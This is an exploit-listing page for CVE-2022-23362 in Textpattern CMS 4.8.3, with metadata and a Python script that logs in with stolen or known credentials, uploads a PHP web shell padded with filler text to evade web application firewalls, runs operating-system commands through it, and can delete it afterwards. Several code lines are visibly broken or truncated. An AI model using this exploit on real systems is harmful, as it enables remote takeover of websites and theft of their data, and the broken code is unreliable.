Textpattern CMS 4.8.3 Remote Code Execution

CVE Category Price Severity
CVE-2022-23362 CWE-20 $500 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2021-03-06
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02144 0.4857

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Textpattern CMS 4.8.3 Remote Code Execution
# Exploit Title: Textpattern 4.8.3 - Remote code execution (Authenticated) (2)
# Date: 03/03/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# Vendor Homepage:
# Software Link:
# Version: Previous to 4.8.3
# Tested on: CentOS, textpattern 4.5.7 and 4.6.0
# Install dependencies: pip3 install beautifulsoup4 argparse requests
# Example: python3 -t -u USER -p PASSWORD -c "whoami" -d

import sys
import argparse
import requests
from bs4 import BeautifulSoup

def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
parser.add_argument('-u', '--user', required=True, action='store', help='Username')
parser.add_argument('-p', '--password', required=True, action='store', help='Password')
parser.add_argument('-c', '--command', required=False, default="whoami", action='store', help='Command to execute')
parser.add_argument('-f', '--filename', required=False, default="testing.php", action='store', help='PHP File Name to upload')
parser.add_argument('-d', '--delete', required=False, default=False, action='store_true', help='Delete PHP file after executing command')
my_args = parser.parse_args()
return my_args

def get_file_id(s, files_url, file_name):
r = s.get(files_url, verify=False)
soup = BeautifulSoup(r.text, "html.parser")
for a in soup.findAll('a'):
if "file_download/" in a['href']:
file_id_name = a['href'].split('file_download/')[1].split("/")
if file_id_name[1] == file_name:
file_id = file_id_name[0]
return file_id

def login(login_url, user, password):
s = requests.Session()
s.get(login_url, verify=False)
data = {"p_userid":user, "p_password":password, "_txp_token":""}
r =, data=data, verify=False)
if str(r.status_code) == "401":
print("[+] Invalid credentials")
_txp_token = ""
soup = BeautifulSoup(r.text, "html.parser")
fields = soup.findAll('input')
for f in fields:
if (f['name'] == "_txp_token"):
_txp_token = f['value']
return s,_txp_token

def upload(s, login_url, _txp_token, file_name):
php_payload = '<a>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed eiusmod tempor incidunt ut labore et dolore magna aliqua.</a>\n'*1000 # to avoid WAF problems
php_payload += '<?php $test = shell_exec($_REQUEST[\'cmd\']); echo $test; ?>', files=(("MAX_FILE_SIZE", (None, "2000000")), ("event", (None, "file")), ("step", (None, "file_insert")), ("id", (None, "")), ("sort", (None, "")), ("dir", (None, "")), ("page", (None, "")), ("search_method", (None, "")), ("crit", (None, "")), ("thefile",(file_name, php_payload, 'application/octet-stream')), ("_txp_token", (None, _txp_token)),), verify=False) 

def exec_cmd(s, cmd_url, command):
r = s.get(cmd_url+command, verify=False)
response = r.text.replace("<a>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed eiusmod tempor incidunt ut labore et dolore magna aliqua.</a>\n","")
return response

def delete_file(s, login_url, file_id, _txp_token):
data = {"selected[]":file_id,"edit_method":"delete","event":"file","step":"file_multi_edit","page":"1","sort":"filename","dir":"asc","_txp_token":_txp_token}, data=data, verify=False)

def main():
args = get_args()
url =
user = args.user
password = args.password
file_name = args.filename
command = args.command
delete_after_execute = args.delete

login_url =  url + "/textpattern/index.php"
upload_url = url + "/textpattern/index.php"
cmd_url =    url + "/files/" + file_name + "?cmd="
files_url =  url + "/textpattern/index.php?event=file"

s,_txp_token = login(login_url, user, password)
print("[+] Logged in")
upload(s, login_url, _txp_token, file_name)
file_id = get_file_id(s, files_url, file_name)
print("[+] File uploaded with id %s"%(file_id))
response = exec_cmd(s, cmd_url, command)
print("[+] Command output \n%s"%(response))

if delete_after_execute:
print("[+] Deleting uploaded file %s with id %s" %(file_name, file_id))
delete_file(s, login_url, file_id, _txp_token)
print("[+] File not deleted. Url: %s"%(url + "/files/" + file_name))

if __name__ == "__main__":

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